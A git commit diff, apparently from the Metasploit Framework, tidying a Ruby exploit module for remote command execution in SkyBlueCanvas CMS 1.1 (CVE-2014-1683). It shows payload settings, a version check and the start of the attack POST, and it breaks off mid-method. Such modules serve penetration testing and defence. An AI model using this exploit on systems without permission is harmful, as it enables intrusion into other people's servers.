Do final cleanup for the skybluecanvas exploit

bug/bundler_fix
jvazquez-r7 2014-01-31 09:17:51 -06:00
parent ffd8f7eee0
commit 810605f0b7
1 changed files with 21 additions and 16 deletions

View File

@ -15,8 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Name' => 'SkyBlueCanvas CMS Remote Code Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability
in SkyBlueCanvas CMS version 1.1 r248-03 and below. The vulnerable function is
inside /index.php?pid=4.
in SkyBlueCanvas CMS version 1.1 r248-03 and below.
},
'License' => MSF_LICENSE,
'Author' =>
@ -26,11 +25,19 @@ class Metasploit3 < Msf::Exploit::Remote
],
'References' =>
[
['CVE', '2014-1683'],
['OSVDB', '102586'],
['BID', '65129'],
['EDB', '31183'],
['URL', 'http://packetstormsecurity.com/files/124948/SkyBlueCanvas-CMS-1.1-r248-03-Command-Injection.html']
],
'Privileged' => false,
'Payload' =>
{
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
@ -41,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => %w{ unix },
'Targets' =>
[
['SkyBlueCanvas', {}]
['SkyBlueCanvas 1.1 r248', {}]
],
'Arch' => ARCH_CMD,
'DisclosureDate' => 'Jan 28 2014',
@ -56,22 +63,20 @@ class Metasploit3 < Msf::Exploit::Remote
def check
uri = normalize_uri(target_uri.path.to_s, "index.php")
res = send_request_raw(
{
'uri' => uri
})
res = send_request_raw('uri' => uri)
if res and res.body =~ /[1.1 r248]/
print_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found")
vprint_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found")
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
Exploit::CheckCode::Safe
end
def exploit
uri = normalize_uri(target_uri.path.to_s, "index.php")
res = send_request_cgi({
send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_get' => { 'pid' => '4' },